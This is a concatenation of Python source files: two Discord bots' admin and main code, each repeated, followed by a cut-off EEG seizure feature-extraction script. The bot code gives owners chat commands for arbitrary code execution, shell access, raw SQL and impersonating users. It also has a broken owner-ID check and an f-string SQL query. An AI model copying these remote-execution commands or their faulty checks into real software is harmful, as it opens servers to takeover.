try:
exec(to_compile, env)
except Exception as e:
return await ctx.send(f'```py\n{e.__class__.__name__}: {e}\n```')
func = env['func']
try:
with redirect_stdout(stdout):
ret = await func()
except Exception as e:
value = stdout.getvalue()
await ctx.send(f'```py\n{value}{traceback.format_exc()}\n```')
else:
value = stdout.getvalue()
reactiontosend = self.bot.get_emoji(508388437661843483)
await ctx.message.add_reaction(reactiontosend)
if ret is None:
if value:
await ctx.send(f'```py\n{value}\n```')
else:
if self.config.token in ret:
ret = self.config.realtoken
self._last_result = ret
await ctx.send(f'Inputted code:\n```py\n{body}\n```\n\nOutputted Code:\n```py\n{value}{ret}\n```')
@commands.group(aliases=["as"])
@commands.check(repo.is_owner)
async def sudo(self, ctx):
"""Run a cmd under an altered context
"""
if ctx.invoked_subcommand is None:
await ctx.send("...")
@sudo.command(aliases=["u", "--u", "--user", "user"])
@commands.check(repo.is_owner)
async def sudo_user(self, ctx, who: Union[discord.Member, discord.User], *, command: str):
"""Run a cmd under someone else's name
"""
msg = copy(ctx.message)
msg.author = who
msg.content = ctx.prefix + command
new_ctx = await self.bot.get_context(msg)
await self.bot.invoke(new_ctx)
@sudo.command(aliases=["c", "--c", "--channel", "channel"])
@commands.check(repo.is_owner)
async def sudo_channel(self, ctx, chid: int, *, command: str):
"""Run a command as another user."""
cmd = copy(ctx.message)
cmd.channel = self.bot.get_channel(chid)
cmd.content = ctx.prefix + command
new_ctx = await self.bot.get_context(cmd)
await self.bot.invoke(new_ctx)
@commands.command()
@commands.check(repo.is_owner)
async def blacklist(self, ctx, uid: int):
with open("blacklist.json", "r+") as file:
content = json.load(file)
content["blacklist"].append(uid)
file.seek(0)
json.dump(content, file)
file.truncate()
await ctx.send(f"I have successfully blacklisted the id **{uid}**")
@commands.command()
@commands.check(repo.is_owner)
async def cogs(self, ctx):
""" Gives all loaded cogs """
mod = ", ".join(list(self.bot.cogs))
await ctx.send(f"The current modules are:\n```\n{mod}\n```")
@commands.command(hidden=True)
@commands.check(repo.is_owner)
async def sql(self, ctx, *, query: str):
"""Run some SQL."""
if ctx.author.id != (127452209070735361 or 101000550874644480):
return
query = self.cleanup_code(query)
is_multistatement = query.count(";") > 1
if is_multistatement:
strategy = self.bot.db.execute
else:
strategy = self.bot.db.fetch
try:
start = time.perf_counter()
results = await strategy(query)
dt = (time.perf_counter() - start) * 1000.0
except Exception:
return await ctx.send(f"```py\n{traceback.format_exc()}\n```")
rows = len(results)
if is_multistatement or rows == 0:
return await ctx.send(f"`{dt:.2f}ms: {results}`")
headers = list(results[0].keys())
table = TabularData()
table.set_columns(headers)
table.add_rows(list(r.values()) for r in results)
render = table.render()
fmt = f"```\n{render}\n```\n*Returned {Plural(row=rows)} in {dt:.2f}ms*"
if len(fmt) > 2000:
fp = io.BytesIO(fmt.encode("utf-8"))
await ctx.send("Too many results...", file=discord.File(fp, "results.txt"))
else:
await ctx.send(fmt)
@commands.command()
@commands.check(repo.is_owner)
async def shell(self, ctx: commands.Context, *, command: str) -> None:
""" Run a shell command. """
if ctx.author.id != 127452209070735361:
return
def run_shell(command):
with Popen(command, stdout=PIPE, stderr=PIPE, shell=True) as proc:
return [std.decode("utf-8") for std in proc.communicate()]
command = self.cleanup_code(command)
argv = shlex.split(command)
stdout, stderr = await self.bot.loop.run_in_executor(None, run_shell, argv)
if stdout:
if len(stdout) >= 1500:
print(stdout)
return await ctx.send("Too big I'll print it instead")
await ctx.send(f"```\n{stdout}\n```")
if stderr:
if len(stderr) >= 1500:
print(stderr)
return await ctx.send("Too big I'll print it instead")
await ctx.send(f"```\n{stderr}\n```")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def speedup(self, ctx):
await ctx.message.add_reaction("a:loading:528744937794043934")
gc.collect()
del gc.garbage[:]
await ctx.message.remove_reaction("a:loading:528744937794043934", member=ctx.me)
await ctx.message.add_reaction(":done:513831607262511124")
@commands.command(hidden=True, aliases=["pull"])
@commands.check(repo.is_owner)
async def update(self, ctx, silently: bool = False):
""" Gets latest commits and applies them from git """
def run_shell(command):
with Popen(command, stdout=PIPE, stderr=PIPE, shell=True) as proc:
return [std.decode("utf-8") for std in proc.communicate()]
pull = await self.bot.loop.run_in_executor(
None, run_shell, "git pull origin master"
)
msg = await ctx.send(f"```css\n{pull}\n```")
for file in os.listdir("cogs"):
if file.endswith(".py"):
name = file[:-3]
self.bot.unload_extension(f"cogs.{name}")
self.bot.load_extension(f"cogs.{name}")
def setup(bot):
bot.add_cog(Admin(bot))
| import time
import aiohttp
import traceback
import discord
import textwrap
import io
import datetime
import random
import json
import shlex
import gc
import os
from subprocess import Popen, PIPE
from dhooks import Webhook
from contextlib import redirect_stdout
from copy import copy
from typing import Union
from utils import repo, default, http, dataIO
from discord.ext import commands
from utils.formats import TabularData, Plural
class Admin(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.config = default.get("config.json")
self._last_result = None
@staticmethod
def cleanup_code(content):
"""Automatically removes code blocks from the code."""
# remove ```py\n```
if content.startswith('```') and content.endswith('```'):
return '\n'.join(content.split('\n')[1:-1])
# remove `foo`
return content.strip('` \n')
@staticmethod
def generatecode():
code = random.randint(11111, 99999)
return f"{code}"
@commands.command()
@commands.check(repo.is_owner)
async def reload(self, ctx, name: str):
""" Reloads an extension. """
try:
self.bot.unload_extension(f"cogs.{name}")
self.bot.load_extension(f"cogs.{name}")
except Exception as e:
await ctx.send(f"```\n{e}```")
return
await ctx.send(f"Reloaded extension **{name}.py**")
@commands.command()
@commands.check(repo.is_owner)
async def reboot(self, ctx):
""" Reboot the bot """
await ctx.send('Rebooting now...')
time.sleep(1)
await self.bot.db.close()
await self.bot.logout()
@commands.command()
@commands.check(repo.is_owner)
async def load(self, ctx, name: str):
""" Reloads an extension. """
try:
self.bot.load_extension(f"cogs.{name}")
except Exception as e:
await ctx.send(f"```diff\n- {e}```")
return
await ctx.send(f"Loaded extension **{name}.py**")
@commands.command()
@commands.check(repo.is_owner)
async def unload(self, ctx, name: str):
""" Reloads an extension. """
try:
self.bot.unload_extension(f"cogs.{name}")
except Exception as e:
await ctx.send(f"```diff\n- {e}```")
return
await ctx.send(f"Unloaded extension **{name}.py**")
@commands.group()
@commands.check(repo.is_owner)
async def change(self, ctx):
if ctx.invoked_subcommand is None:
_help = await ctx.bot.formatter.format_help_for(ctx, ctx.command)
for page in _help:
await ctx.send(page)
@change.command(name="playing")
@commands.check(repo.is_owner)
async def change_playing(self, ctx, *, playing: str):
""" Change playing status. """
try:
await self.bot.change_presence(
activity=discord.Game(type=0, name=playing),
status=discord.Status.online
)
dataIO.change_value("config.json", "playing", playing)
await ctx.send(f"Successfully changed playing status to **{playing}**")
except discord.InvalidArgument as err:
await ctx.send(err)
except Exception as e:
await ctx.send(e)
@change.command(name="username")
@commands.check(repo.is_owner)
async def change_username(self, ctx, *, name: str):
""" Change username. """
try:
await self.bot.user.edit(username=name)
await ctx.send(f"Successfully changed username to **{name}**")
except discord.HTTPException as err:
await ctx.send(err)
@change.command(name="nickname")
@commands.check(repo.is_owner)
async def change_nickname(self, ctx, *, name: str = None):
""" Change nickname. """
try:
await ctx.guild.me.edit(nick=name)
if name:
await ctx.send(f"Successfully changed nickname to **{name}**")
else:
await ctx.send("Successfully removed nickname")
except Exception as err:
await ctx.send(err)
@change.command(name="avatar")
@commands.check(repo.is_owner)
async def change_avatar(self, ctx, url: str = None):
""" Change avatar. """
if url is None and len(ctx.message.attachments) == 1:
url = ctx.message.attachments[0].url
else:
url = url.strip('<>')
try:
bio = await http.get(url, res_method="read")
await self.bot.user.edit(avatar=bio)
await ctx.send(f"Successfully changed the avatar. Currently using:\n{url}")
except aiohttp.InvalidURL:
await ctx.send("The URL is invalid...")
except discord.InvalidArgument:
await ctx.send("This URL does not contain a useable image")
except discord.HTTPException as err:
await ctx.send(err)
@commands.command()
@commands.check(repo.is_owner)
async def args(self, ctx, *args):
"""Returns the number of args"""
await ctx.send('{} arguments: {}'.format(len(args), ', '.join(args)))
@commands.command()
async def amiadmin(self, ctx):
""" Are you admin? """
if ctx.author.id in self.config.owners:
return await ctx.send(f"Yes **{ctx.author.name}** you are admin! ✅")
await ctx.send(f"no, heck off {ctx.author.name}")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def resetwarns(self, ctx, member: discord.Member):
""" Resets user warnings """
query = "SELECT warnings FROM warnings WHERE userid = $1;"
row = await self.bot.db.fetchrow(query, member.id)
if row is None:
await ctx.send("They are not registered in the database! I'll add them now!")
query = "INSERT INTO warnings VALUES ($1, 0);"
await self.bot.db.execute(query, member.id)
else:
query = "UPDATE warnings SET warnings = 0 WHERE userid = $1;"
await self.bot.db.execute(query, member.id)
logchannel = self.bot.get_channel(499327315088769025)
await ctx.send(f"I reset {member.mention}'s warns!")
await logchannel.send(f"I reset {member.mention}'s warns!")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def setupvotes(self, ctx, member: discord.Member, votestoset: int = 0):
"""Does what it says on the tin"""
query = "SELECT * FROM artstats WHERE userid=$1"
row = await self.bot.db.fetchrow(query, member.id)
if row is None:
query = "INSERT INTO artstats VALUES ($1, $2);"
await self.bot.db.execute(query, member.id, votestoset)
return await ctx.send(f"**{member.name}** has been set with **{votestoset}** upvotes.")
else:
query = "UPDATE artstats SET upvotes=$2 WHERE userid=$1"
await self.bot.db.execute(query, member.id, votestoset)
await ctx.send(f"**{member.name}** has been set with **{votestoset}** upvotes.")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def manualsketchdaily(self, ctx):
"""
Manually send off a daily sketch
"""
dayandmonth = datetime.date.today()
row = await self.bot.db.fetchrow("SELECT * FROM sketchdaily ORDER BY RANDOM() LIMIT 1;")
if row is None:
return print("There are no suggestions...")
print('True, sending webhook message')
webhook = Webhook(url=f'{self.config.webhookurl}', content=f"<@&509164409604669450>\n\nThe prompt for {dayandmonth.day}/{dayandmonth.month}/{dayandmonth.year} is:\n\n**{row['idea']}**\n\nIt was suggested by **{row['artist']}**\n\nPlease post your submission below this line!\n\n===================")
webhook.execute()
sketchcode = row['code']
query = "DELETE FROM sketchdaily WHERE code=$1;"
await self.bot.db.execute(query, sketchcode)
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def registersketch(self, ctx, artist: str = None, *, sketch: str = None):
"""
Adds a database entry for sketchdaily
"""
if artist is None:
return await ctx.send("Please include a user!")
if sketch is None:
return await ctx.send("Please include an idea!")
code = self.generatecode()
query = "INSERT INTO sketchdaily VALUES ($1, $2, $3);"
await self.bot.db.execute(query, int(code), artist, sketch)
await ctx.send(f"I have successfully added the idea \"{sketch}\" by \"{artist}\" with the tag {code} to the database!")
@commands.command(pass_context=True, name='eval')
@commands.check(repo.is_owner)
async def _eval(self, ctx, *, body: str):
"""Evaluates a code"""
env = {
'bot': self.bot,
'ctx': ctx,
'channel': ctx.channel,
'author': ctx.author,
'guild': ctx.guild,
'message': ctx.message,
'_': self._last_result
}
if ctx.author.id != 127452209070735361:
return
if "bot.http.token" in body:
return await ctx.send(f"You can't take my token {ctx.author.name}")
env.update(globals())
body = self.cleanup_code(body)
stdout = io.StringIO()
to_compile = f'async def func():\n{textwrap.indent(body, " ")}'
try:
exec(to_compile, env)
except Exception as e:
return await ctx.send(f'```py\n{e.__class__.__name__}: {e}\n```')
func = env['func']
try:
with redirect_stdout(stdout):
ret = await func()
except Exception as e:
value = stdout.getvalue()
await ctx.send(f'```py\n{value}{traceback.format_exc()}\n```')
else:
value = stdout.getvalue()
reactiontosend = self.bot.get_emoji(508388437661843483)
await ctx.message.add_reaction(reactiontosend)
if ret is None:
if value:
await ctx.send(f'```py\n{value}\n```')
else:
if self.config.token in ret:
ret = self.config.realtoken
self._last_result = ret
await ctx.send(f'Inputted code:\n```py\n{body}\n```\n\nOutputted Code:\n```py\n{value}{ret}\n```')
@commands.group(aliases=["as"])
@commands.check(repo.is_owner)
async def sudo(self, ctx):
"""Run a cmd under an altered context
"""
if ctx.invoked_subcommand is None:
await ctx.send("...")
@sudo.command(aliases=["u", "--u", "--user", "user"])
@commands.check(repo.is_owner)
async def sudo_user(self, ctx, who: Union[discord.Member, discord.User], *, command: str):
"""Run a cmd under someone else's name
"""
msg = copy(ctx.message)
msg.author = who
msg.content = ctx.prefix + command
new_ctx = await self.bot.get_context(msg)
await self.bot.invoke(new_ctx)
@sudo.command(aliases=["c", "--c", "--channel", "channel"])
@commands.check(repo.is_owner)
async def sudo_channel(self, ctx, chid: int, *, command: str):
"""Run a command as another user."""
cmd = copy(ctx.message)
cmd.channel = self.bot.get_channel(chid)
cmd.content = ctx.prefix + command
new_ctx = await self.bot.get_context(cmd)
await self.bot.invoke(new_ctx)
@commands.command()
@commands.check(repo.is_owner)
async def blacklist(self, ctx, uid: int):
with open("blacklist.json", "r+") as file:
content = json.load(file)
content["blacklist"].append(uid)
file.seek(0)
json.dump(content, file)
file.truncate()
await ctx.send(f"I have successfully blacklisted the id **{uid}**")
@commands.command()
@commands.check(repo.is_owner)
async def cogs(self, ctx):
""" Gives all loaded cogs """
mod = ", ".join(list(self.bot.cogs))
await ctx.send(f"The current modules are:\n```\n{mod}\n```")
@commands.command(hidden=True)
@commands.check(repo.is_owner)
async def sql(self, ctx, *, query: str):
"""Run some SQL."""
if ctx.author.id != (127452209070735361 or 101000550874644480):
return
query = self.cleanup_code(query)
is_multistatement = query.count(";") > 1
if is_multistatement:
strategy = self.bot.db.execute
else:
strategy = self.bot.db.fetch
try:
start = time.perf_counter()
results = await strategy(query)
dt = (time.perf_counter() - start) * 1000.0
except Exception:
return await ctx.send(f"```py\n{traceback.format_exc()}\n```")
rows = len(results)
if is_multistatement or rows == 0:
return await ctx.send(f"`{dt:.2f}ms: {results}`")
headers = list(results[0].keys())
table = TabularData()
table.set_columns(headers)
table.add_rows(list(r.values()) for r in results)
render = table.render()
fmt = f"```\n{render}\n```\n*Returned {Plural(row=rows)} in {dt:.2f}ms*"
if len(fmt) > 2000:
fp = io.BytesIO(fmt.encode("utf-8"))
await ctx.send("Too many results...", file=discord.File(fp, "results.txt"))
else:
await ctx.send(fmt)
@commands.command()
@commands.check(repo.is_owner)
async def shell(self, ctx: commands.Context, *, command: str) -> None:
""" Run a shell command. """
if ctx.author.id != 127452209070735361:
return
def run_shell(command):
with Popen(command, stdout=PIPE, stderr=PIPE, shell=True) as proc:
return [std.decode("utf-8") for std in proc.communicate()]
command = self.cleanup_code(command)
argv = shlex.split(command)
stdout, stderr = await self.bot.loop.run_in_executor(None, run_shell, argv)
if stdout:
if len(stdout) >= 1500:
print(stdout)
return await ctx.send("Too big I'll print it instead")
await ctx.send(f"```\n{stdout}\n```")
if stderr:
if len(stderr) >= 1500:
print(stderr)
return await ctx.send("Too big I'll print it instead")
await ctx.send(f"```\n{stderr}\n```")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def speedup(self, ctx):
await ctx.message.add_reaction("a:loading:528744937794043934")
gc.collect()
del gc.garbage[:]
await ctx.message.remove_reaction("a:loading:528744937794043934", member=ctx.me)
await ctx.message.add_reaction(":done:513831607262511124")
@commands.command(hidden=True, aliases=["pull"])
@commands.check(repo.is_owner)
async def update(self, ctx, silently: bool = False):
""" Gets latest commits and applies them from git """
def run_shell(command):
with Popen(command, stdout=PIPE, stderr=PIPE, shell=True) as proc:
return [std.decode("utf-8") for std in proc.communicate()]
pull = await self.bot.loop.run_in_executor(
None, run_shell, "git pull origin master"
)
msg = await ctx.send(f"```css\n{pull}\n```")
for file in os.listdir("cogs"):
if file.endswith(".py"):
name = file[:-3]
self.bot.unload_extension(f"cogs.{name}")
self.bot.load_extension(f"cogs.{name}")
def setup(bot):
bot.add_cog(Admin(bot))
|
import asyncio
import os
import random
import logging
import contextlib
import sqlite3
import discord
from discord.ext import commands
from pathlib import Path
import motor.motor_asyncio
import io
import textwrap
import traceback
from traceback import format_exception
import utils.json_loader
from utils.mongo import Document
from utils.util import clean_code, Pag
from discord_slash import SlashCommand
cwd = Path(__file__).parents[0]
cwd = str(cwd)
print(f"{cwd}\n-----")
description = '''A clever discord bot written in python.'''
initial_extensions = ['cogs.leveling']
async def get_prefix(bot, message):
if not message.guild:
return commands.when_mentioned_or("g$")(bot, message)
try:
data = await bot.config.find(message.guild.id)
if not data or "prefix" not in data:
return commands.when_mentioned_or("g$")(bot, message)
return commands.when_mentioned_or(data["prefix"])(bot, message)
except:
return commands.when_mentioned_or("g$")(bot, message)
class NewHelpName(commands.MinimalHelpCommand):
async def send_pages(self):
destination = self.get_destination()
for page in self.paginator.pages:
embed = discord.Embed(description=page, color=discord.Color.random())
embed.set_thumbnail(url=bot.user.avatar_url)
embed.set_footer(text='')
await destination.send(embed=embed)
secret_file = utils.json_loader.read_json('secrets')
intents = discord.Intents.all()
bot = commands.Bot(
command_prefix=get_prefix,
description=description,
owner_id=219410026631135232,
case_insensitive=True,
intents=discord.Intents.all(),
help_command = NewHelpName()
)
slash = SlashCommand(bot, sync_commands=True, sync_on_cog_reload=True)
bot.config_token = secret_file["token"]
logging.basicConfig(level=logging.INFO)
bot.blacklisted_users = []
bot.connection_url = secret_file["mongo"]
bot.muted_users = {}
bot.cwd = cwd
bot.version = "1.0"
bot.colors = {
"WHITE": 0xFFFFFF,
"AQUA": 0x1ABC9C,
"GREEN": 0x2ECC71,
"BLUE": 0x3498DB,
"PURPLE": 0x9B59B6,
"LUMINOUS_VIVID_PINK": 0xE91E63,
"GOLD": 0xF1C40F,
"ORANGE": 0xE67E22,
"RED": 0xE74C3C,
"NAVY": 0x34495E,
"DARK_AQUA": 0x11806A,
"DARK_GREEN": 0x1F8B4C,
"DARK_BLUE": 0x206694,
"DARK_PURPLE": 0x71368A,
"DARK_VIVID_PINK": 0xAD1457,
"DARK_GOLD": 0xC27C0E,
"DARK_ORANGE": 0xA84300,
"DARK_RED": 0x992D22
}
bot.color_list = [c for c in bot.colors.values()]
@bot.event
async def on_ready():
print('Logged in as', bot.user.name)
print("Bot ID:", bot.user.id)
print('Bot latency:', bot.latency * 1000, 2)
print('Running discord.py version ' + discord.__version__)
bot.mongo = motor.motor_asyncio.AsyncIOMotorClient(str(bot.connection_url))
bot.db = bot.mongo["Guren"]
bot.config = Document(bot.db, "config")
bot.warns = Document(bot.db, "warns")
bot.mutes = Document(bot.db, "mutes")
bot.command_usage = Document(bot.db, "command_usage")
bot.reaction_roles = Document(bot.db, "reaction_roles")
print("Initialized Database\n-----")
for document in await bot.config.get_all():
print(document)
currentMutes = await bot.mutes.get_all()
for mute in currentMutes:
bot.muted_users[mute["_id"]] = mute
print(bot.muted_users)
@bot.event
async def on_guild_join(guild):
main = sqlite3.connect('Leveling/main.db')
cursor = main.cursor()
cursor.execute(f"SELECT enabled FROM glevel WHERE guild_id = '{guild.id}'")
result = cursor.fetchone()
if result is None:
sql = "INSERT INTO glevel(guild_id, enabled) VALUES(?,?)"
val = (str(guild.id), 'enabled')
cursor.execute(sql, val)
main.commit()
elif str(result[0]) == 'disabled':
sql = "UPDATE glevel SET enabled = ? WHERE guild_id = ?"
val = ('enabled', str(guild.id))
cursor.execute(sql, val)
main.commit()
cursor.close()
main.close()
@bot.command(name="eval", aliases=["exec"])
@commands.is_owner()
async def _eval(ctx, *, code):
"""Owner only command"""
code = clean_code(code)
local_variables = {
"discord": discord,
"commands": commands,
"bot": bot,
"ctx": ctx,
"channel": ctx.channel,
"author": ctx.author,
"guild": ctx.guild,
"message": ctx.message
}
stdout = io.StringIO()
try:
with contextlib.redirect_stdout(stdout):
exec(
f"async def func():\n{textwrap.indent(code, " ")}", local_variables,
)
obj = await local_variables["func"]()
result = f"{stdout.getvalue()}\n-- {obj}\n"
except Exception as e:
result = "".join(format_exception(e, e, e.__traceback__))
pager = Pag(
timeout=100,
entries=[result[i: i + 2000] for i in range(0, len(result), 2000)],
length=1,
prefix="```py\n",
suffix="```"
)
await pager.start(ctx)
@bot.event
async def on_message(message):
if message.author.bot:
return
if message.author.id in bot.blacklisted_users:
return
if message.content.startswith(f"<@!{bot.user.id}>") and \
len(message.content) == len(f"<@!{bot.user.id}>"
):
data = await bot.config.get_by_id(message.guild.id)
if not data or "prefix" not in data:
prefix = "g$"
else:
prefix = data["prefix"]
await message.channel.send(f"My prefix here is `{prefix}`", delete_after=15)
await bot.process_commands(message)
async def chng_pr():
await bot.wait_until_ready()
statuses = ["g$help", "with Yuichiro!", "with epic lines of code", "getting fancy"]
while not bot.is_closed():
status = random.choice(statuses)
await bot.change_presence(activity=discord.Game(status))
await asyncio.sleep(60)
if __name__ == "__main__":
for file in os.listdir(cwd + "/cogs"):
if file.endswith(".py") and not file.startswith("_"):
bot.load_extension(f"cogs.{file[:-3]}")
bot.load_extension("jishaku")
bot.loop.create_task(chng_pr())
bot.run(bot.config_token)
| import asyncio
import os
import random
import logging
import contextlib
import sqlite3
import discord
from discord.ext import commands
from pathlib import Path
import motor.motor_asyncio
import io
import textwrap
import traceback
from traceback import format_exception
import utils.json_loader
from utils.mongo import Document
from utils.util import clean_code, Pag
from discord_slash import SlashCommand
cwd = Path(__file__).parents[0]
cwd = str(cwd)
print(f"{cwd}\n-----")
description = '''A clever discord bot written in python.'''
initial_extensions = ['cogs.leveling']
async def get_prefix(bot, message):
if not message.guild:
return commands.when_mentioned_or("g$")(bot, message)
try:
data = await bot.config.find(message.guild.id)
if not data or "prefix" not in data:
return commands.when_mentioned_or("g$")(bot, message)
return commands.when_mentioned_or(data["prefix"])(bot, message)
except:
return commands.when_mentioned_or("g$")(bot, message)
class NewHelpName(commands.MinimalHelpCommand):
async def send_pages(self):
destination = self.get_destination()
for page in self.paginator.pages:
embed = discord.Embed(description=page, color=discord.Color.random())
embed.set_thumbnail(url=bot.user.avatar_url)
embed.set_footer(text='')
await destination.send(embed=embed)
secret_file = utils.json_loader.read_json('secrets')
intents = discord.Intents.all()
bot = commands.Bot(
command_prefix=get_prefix,
description=description,
owner_id=219410026631135232,
case_insensitive=True,
intents=discord.Intents.all(),
help_command = NewHelpName()
)
slash = SlashCommand(bot, sync_commands=True, sync_on_cog_reload=True)
bot.config_token = secret_file["token"]
logging.basicConfig(level=logging.INFO)
bot.blacklisted_users = []
bot.connection_url = secret_file["mongo"]
bot.muted_users = {}
bot.cwd = cwd
bot.version = "1.0"
bot.colors = {
"WHITE": 0xFFFFFF,
"AQUA": 0x1ABC9C,
"GREEN": 0x2ECC71,
"BLUE": 0x3498DB,
"PURPLE": 0x9B59B6,
"LUMINOUS_VIVID_PINK": 0xE91E63,
"GOLD": 0xF1C40F,
"ORANGE": 0xE67E22,
"RED": 0xE74C3C,
"NAVY": 0x34495E,
"DARK_AQUA": 0x11806A,
"DARK_GREEN": 0x1F8B4C,
"DARK_BLUE": 0x206694,
"DARK_PURPLE": 0x71368A,
"DARK_VIVID_PINK": 0xAD1457,
"DARK_GOLD": 0xC27C0E,
"DARK_ORANGE": 0xA84300,
"DARK_RED": 0x992D22
}
bot.color_list = [c for c in bot.colors.values()]
@bot.event
async def on_ready():
print('Logged in as', bot.user.name)
print("Bot ID:", bot.user.id)
print('Bot latency:', bot.latency * 1000, 2)
print('Running discord.py version ' + discord.__version__)
bot.mongo = motor.motor_asyncio.AsyncIOMotorClient(str(bot.connection_url))
bot.db = bot.mongo["Guren"]
bot.config = Document(bot.db, "config")
bot.warns = Document(bot.db, "warns")
bot.mutes = Document(bot.db, "mutes")
bot.command_usage = Document(bot.db, "command_usage")
bot.reaction_roles = Document(bot.db, "reaction_roles")
print("Initialized Database\n-----")
for document in await bot.config.get_all():
print(document)
currentMutes = await bot.mutes.get_all()
for mute in currentMutes:
bot.muted_users[mute["_id"]] = mute
print(bot.muted_users)
@bot.event
async def on_guild_join(guild):
main = sqlite3.connect('Leveling/main.db')
cursor = main.cursor()
cursor.execute(f"SELECT enabled FROM glevel WHERE guild_id = '{guild.id}'")
result = cursor.fetchone()
if result is None:
sql = "INSERT INTO glevel(guild_id, enabled) VALUES(?,?)"
val = (str(guild.id), 'enabled')
cursor.execute(sql, val)
main.commit()
elif str(result[0]) == 'disabled':
sql = "UPDATE glevel SET enabled = ? WHERE guild_id = ?"
val = ('enabled', str(guild.id))
cursor.execute(sql, val)
main.commit()
cursor.close()
main.close()
@bot.command(name="eval", aliases=["exec"])
@commands.is_owner()
async def _eval(ctx, *, code):
"""Owner only command"""
code = clean_code(code)
local_variables = {
"discord": discord,
"commands": commands,
"bot": bot,
"ctx": ctx,
"channel": ctx.channel,
"author": ctx.author,
"guild": ctx.guild,
"message": ctx.message
}
stdout = io.StringIO()
try:
with contextlib.redirect_stdout(stdout):
exec(
f"async def func():\n{textwrap.indent(code, ' ')}", local_variables,
)
obj = await local_variables["func"]()
result = f"{stdout.getvalue()}\n-- {obj}\n"
except Exception as e:
result = "".join(format_exception(e, e, e.__traceback__))
pager = Pag(
timeout=100,
entries=[result[i: i + 2000] for i in range(0, len(result), 2000)],
length=1,
prefix="```py\n",
suffix="```"
)
await pager.start(ctx)
@bot.event
async def on_message(message):
if message.author.bot:
return
if message.author.id in bot.blacklisted_users:
return
if message.content.startswith(f"<@!{bot.user.id}>") and \
len(message.content) == len(f"<@!{bot.user.id}>"
):
data = await bot.config.get_by_id(message.guild.id)
if not data or "prefix" not in data:
prefix = "g$"
else:
prefix = data["prefix"]
await message.channel.send(f"My prefix here is `{prefix}`", delete_after=15)
await bot.process_commands(message)
async def chng_pr():
await bot.wait_until_ready()
statuses = ["g$help", "with Yuichiro!", "with epic lines of code", "getting fancy"]
while not bot.is_closed():
status = random.choice(statuses)
await bot.change_presence(activity=discord.Game(status))
await asyncio.sleep(60)
if __name__ == "__main__":
for file in os.listdir(cwd + "/cogs"):
if file.endswith(".py") and not file.startswith("_"):
bot.load_extension(f"cogs.{file[:-3]}")
bot.load_extension("jishaku")
bot.loop.create_task(chng_pr())
bot.run(bot.config_token)
|
"""
a code to pre-process and extract fist-level features from raw data from the selected patients.
the output will be the extracted features, chronologically, in 5 second non-overlapping windows
order by patient and seizure.
format output name:pat[patient_number]_seizure[seizure_number]_featureMatrix.npy
example output name: pat102_seizure_1_featureMatrix.npy
this code can not be executed
as the original data from Epilepsiae can not be available online for public use
due to ethical concers
"""
import numpy as np
#import matplotlib.pyplot as plt
import datetime as dt
import os
from scipy import signal, integrate
import pywt
#%% Path setup and patient selection
#path = "/Users/Tiago/Desktop/Research/Data"
path = "D:\\O nosso paper\\Data"
sep = os.path.sep
if path[-1] != sep:
path+=sep
patient_selection = input('Enter patient ID: ')
patient_IDs = patient_selection.split(sep = ',') # allow user to enter multiple IDs separated by commas
patient_fs = int(input('Enter original sampling frequency (Hz): ')) # used for downsampling (if higher than 256Hz)
#%% Hyperparameters (e.g. seizure time, sliding window, filtering, ...)
# BUILDING SEIZURE DATA:
h_before_onset = dt.timedelta(hours = 4) # how many hours before onset?
h_between_onsets = dt.timedelta(hours = 4.5) # how many hours between seizures (cluster assumption)?
m_postictal = dt.timedelta(minutes = 30) # how many minutes of post-itcal (avoid influence in inter-ictal)?
# SLIDING WINDOW:
fsampling = 256 # sampling frequency (Hz)
window_size = fsampling * 5 # in number of samples
overlap = 0 # in number of samples
# FILTERING:
f_notch = 50 # power-line interference
Q = 30
b_notch, a_notch = signal.iirnotch(f_notch, Q, fsampling) # notch filter
f_HPF = 0.5 # remove DC component and breathing artifacts (slow drifts)
order = 4
b_HPF, a_HPF = signal.butter(order, f_HPF, 'highpass', fs = fsampling)
# FEATURE EXTRACTION:
# Features: statistical moments, spectral band power, SEF, wavelets, hjorth parameters (more?)
feature_labels = np.sort(['mean', 'var', 'skew', 'kurt', 'theta', 'delta', 'beta', 'alpha', 'lowgamma', 'highgamma',
'h_act', 'h_com', 'h_mob', 'sef50', 'sef75', 'sef90',
'a7', 'd7', 'd6', 'd5', 'd4', 'd3', 'd2', 'd1'])
number_of_features = len(feature_labels) # used later to detect number of seizures for each patient
theta_range = [0, 4]
delta_range = [4, 8]
beta_range = [8, 12]
alpha_range = [13, 30]
gamma_range = [30, 128]
low_gamma_range = [30, 79]
high_gamma_range = [79, 128]
mother_wavelet = pywt.Wavelet('db4')
#%% List all EVTS and patients
evts_list = sorted(os.listdir(path + 'EVTS' + sep))
evts_list = [s for s in evts_list if 'dataEvts' in s] # only files with "dataEvts"
evts_list = [path + 'EVTS' + sep + s for s in evts_list]
patient_list = sorted(os.listdir(path))
patient_list = [s for s in patient_list if 'pat' in s] # only folders with "pat"
patient_list = [path + s + sep for s in patient_list]
#%% Retrieve electrode labels / rows from data header
for ID in patient_IDs:
for pat in patient_list:
if "pat_" + ID in pat:
print(f'Gathering time vectors and gaps for patient {ID}...')
signal_list = sorted(os.listdir(pat))
signal_list = [s for s in signal_list if 'signalData' in s] # only files with "signalData"
signal_list = [pat + s for s in signal_list]
header_list = sorted(os.listdir(pat))
header_list = [s for s in header_list if 'dataHead' in s] # only files with "dataHead"
header_list = [pat + s for s in header_list]
header = np.load(header_list[0], allow_pickle = True)
# Retrieve electrode labels and find which rows correspond to them
electrodes_label = np.array(['FP1', 'FP2', 'F3', 'F4', 'C3', 'C4', 'P3', 'P4', 'O1', 'O2',
'F7', 'F8', 'T3', 'T4', 'T5', 'T6', 'Fz', 'Cz', 'Pz'])
# !!! Some patients seem to have the header in a different index
if patient_fs == 400:
header_label = np.array([x.lower() for x in header.item(6)])
else:
header_label = np.array([x.lower() for x in header.item(6)]) #!!! mudar para 5 depois
electrodes_rows = []
electrodes_rows.append(np.where(header_label == 'fp1')[0][0])
electrodes_rows.append(np.where(header_label == 'fp2')[0][0])
electrodes_rows.append(np.where(header_label == 'f3')[0][0])
electrodes_rows.append(np.where(header_label == 'f4')[0][0])
electrodes_rows.append(np.where(header_label == 'c3')[0][0])
